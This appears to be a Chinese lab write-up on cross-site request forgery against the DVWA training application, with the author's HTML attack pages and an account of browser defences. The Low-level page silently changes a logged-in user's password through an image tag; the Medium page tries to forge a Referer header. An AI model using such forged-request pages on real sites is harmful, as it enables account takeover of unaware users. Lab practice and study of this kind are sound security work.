DVWA系列3:CSRF
前言
CSRF(Cross-site request forgery),即跨站请求伪造,是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。
比如说,用户之前登录了网银网站A,又去访问了含有恶意内容的网站B。网站 B 的某些内容会请求网银网站 A 的内容,发起转账操作(这些操作通过一个请求即可完成)。因为用户之前登录过网银网站 A,访问时就会自动携带上 Cookie。网银网站 A 在请求中解析了 Cookie,认为是用户的操作,就会直接执行。由此造成财产的损失。如图:
需要注意的是,这种攻击策略在现在已经难以实现了,因为浏览器的策略限制了 Cookie 的自动发送。详见下面的章节。
1. 环境准备
为了模拟之前的情况,我们安装了一个 Windows 7 的虚拟机,并安装 Google Chrome 78 版本。
在安装虚拟机的过程中,安装 Vmware Tools 时可能会报错,参见这个博客。历史版本的 Chrome 在此处下拉选择下载。虚拟机的安装和配置有很多资料,在这里就不赘述了。
这里需要注意的是,一定要禁止 Chrome 自动更新,否则更新为最新版本后就无法复现了。参考此文章。
2. Low 难度实操
A. 正常情况
要先点击左侧的 Logout 后,使用 admin/password 登录,将等级调整为 Low 后,点击左侧 CSRF,可以看到大概如下的页面:
正常情况下,我们先修改密码:
注意看,修改密码的请求出现在了地址栏上(即使没有出现在地址栏,也可以通过捕包的方式查看到 HTTP 请求详情,这为我们后续的操作埋下了伏笔)。之后可以点击 TestCredentials 验证新的密码是否生效,如图:
B. 分析与攻击网站设置
如果我们能够构造一个假网站,在网页中向正常网站发出修改密码的请求。然后诱骗 访问过这个正常网站修改密码页面的用户 来访问,就可以神不知鬼不觉的修改该用户的密码了不是?
我们先编写一下假网站的代码,如下(注意修改其中的具体地址):
<!DOCTYPE html>
<html>
<meta charset="utf-8" />
<head>
<title>这是一个用于 CSRF 的假网站</title>
</head>
<body>
<img src="http://192.168.117.131/vulnerabilities/csrf/?password_new=1234567890&password_conf=1234567890&Change=Change#" />
<br />
一张美女图片,请欣赏!
</body>
</html>
在这个假网站中,我们通过嵌入 img 标签的形式(因为天生可以跨域)悄悄地发送修改密码为 1234567890 的请求。
最后将该网站部署在 192.168.117.129 这台机器上,端口号为 8080。
C. 受害者上钩
在点击 Logout 重新登陆、调整难度为 Low、修改完密码为 123456 这三个步骤后,假装“鬼使神差”地打开了这个网站XD。“咦~,美女图片怎么看不了啊,算了算了不看了”。 此时返回正常页面,再次点击 TestCredentials 按钮,发现密码 123456 已经不正确了,我们的密码已经在暗中被修改了!!!
扮演受害者需要注意的是,因为调整的难度等级也存在 cookie 中,因此一定要点击 Logout 后重新登录,调整难度为 Low,否则无法达到预期的效果。
通过 F12 可以看到,在 Request Header 中向正常网站发送了 Cookie,让正常网站以为是用户的操作。而此时,一心要查看“美女图片”的用户是毫无察觉的。
3. Medium 难度实操
A. 分析与攻击
查看下源代码,发现通过 stripos 函数对 HTTP 请求的 Referer 头进行了包含性验证。如果我们拦截请求并篡改了 Referer 头为它想要的值,是不是就可以了?
通过观察正常请求,可以发现:
在正常的请求头中添加 Referer 字段为此值即可。修改我们的恶意“美女图片”网站如下:
<!DOCTYPE html>
<html>
<meta charset="utf-8" />
<head>
<title>这是一个用于 CSRF 的假网站</title>
</head>
<body>
<img src="jia_zhuang_shi_yi_zhang_tu_pian" />
<br />
一张美女图片,请欣赏!
<script>
// 在此处发送一个请求,并尝试手动设置为 Referer 为 http://192.168.117.131/vulnerabilities/csrf/
var req = new XMLHttpRequest();
req.open("GET", "http://192.168.117.131/vulnerabilities/csrf/?password_new=12345678&password_conf=12345678&Change=Change#", true);
req.setRequestHeader("Referer", "http://192.168.117.131/vulnerabilities/csrf/");
req.send();
</script>
</body>
</html>
B. 翻车先锋
假装受害者访问下,发现浏览器报错了:
可以看到主要报了两个错误:
- 浏览器拒绝设置不安全的 HTTP 头 Referer,看样子即使在早期的版本,浏览器也采取了一定的防范措施。直接修改 Referer 的值行不通。
- CORS 错误。由于我们实在 A 网站请求 B 网站的内容,而且 B 网站的服务器并没有设置允许我们跨域(没有返回允许跨域的 HTTP 头信息),因此会出现错误。其实这并不影响,因为我们的请求已经发送到 B 网站并且执行了(可以看到返回了状态码是 200,但无法查看响应的具体内容罢了)。
C. 接下来?
通过查询资料学习了解到,可以配合 XSS 来实现攻击。大概原理是:向正常网站嵌入恶意的内容,这样在用户访问包含该内容的网页时,就不知不觉地执行了敏感操作。关于 XSS,这里就先挖个坑吧。
此处其实还有一个漏洞,就是只判断了 Referer 头的字符串值是否包含 网站地址,在我的测试环境中,$_SERVER[ 'SERVER_NAME' ] 的值为 192.168.117.131,也就是说,如果请求从该网站其它位置发出,也可以通过验证。这也是我们可以通过 XSS 的形式攻击的重要条件之一。
4. High 难度实操
通过查看源代码发现,新添加了一个每次访问都不同的 user_token 字段,企图来阻止我们的恶意访问。但是,我们如果手动获取这个 token,拼接到我们的请求中不就可以绕过了?
结果自然是同样的翻车先锋,因为请求跨域了,并且目标网站并不支持请求跨域,因此我们无法获取到 user_token,便无法进行接下来的攻击。不过同样地,可以配合 XSS 来实现。
5. 总结
从以上可以看出,单纯地使用 CSRF 攻击几乎很难取得效果了,除非真的没有一点验证(这还得是在 N 年前的浏览器环境下)。而现在:
A. Cookie 被自动发出的限制也严格起来
这里由于内容较多,可以参阅 DVWA 给出的文档 和 网上的其它文档。粗暴的理解就是,原来浏览器会自动发送 Cookie 的场景,现在可能不自动发送了。
在我现在的 Chrome 浏览器中,按照难度等级为 Low 的方式操作:
可以看到此时并没有向目标网站发送 Cookie。反而因此还接收了目标网站的 Set-Cookie 的指令。至于红框中的感叹号,也可以参考 DVWA 给出的文档。
B. Token 的使用大大地减少了攻击
CSRF 攻击的基本依赖点是 Cookie 是浏览器默认情况下自动发送的。而现在的后台网站框架很多使用 JWT Token 来验证。JWT Token 并不会由浏览器自动发送,都是在请求时由用户前端程序发出。
参考
跨站请求伪造
DVWA的CSRF全部等级解析
Dvwa csrf之low、medium、high级别漏洞实战
DVWA下的CSRF攻防实战(详解)
DVWA之CSRF漏洞(详细)
【Windows】win7虚拟机安装VMware Tools
chrome浏览器历史版本下载
XMLHttpRequest
如何绕开referrer防盗链
SameSite cookie 的说明
SameSite 属性变为 lax,我们应该怎么办
当SameSite属性为默认值Lax时,绕过它并获得一个CSRF
解决新版chrome浏览器SameSite属性cookie拦截问题
chrome 同站策略(samesite)问题及解决方案
chrome samesite测试
彻底阻止Chrome浏览器自动升级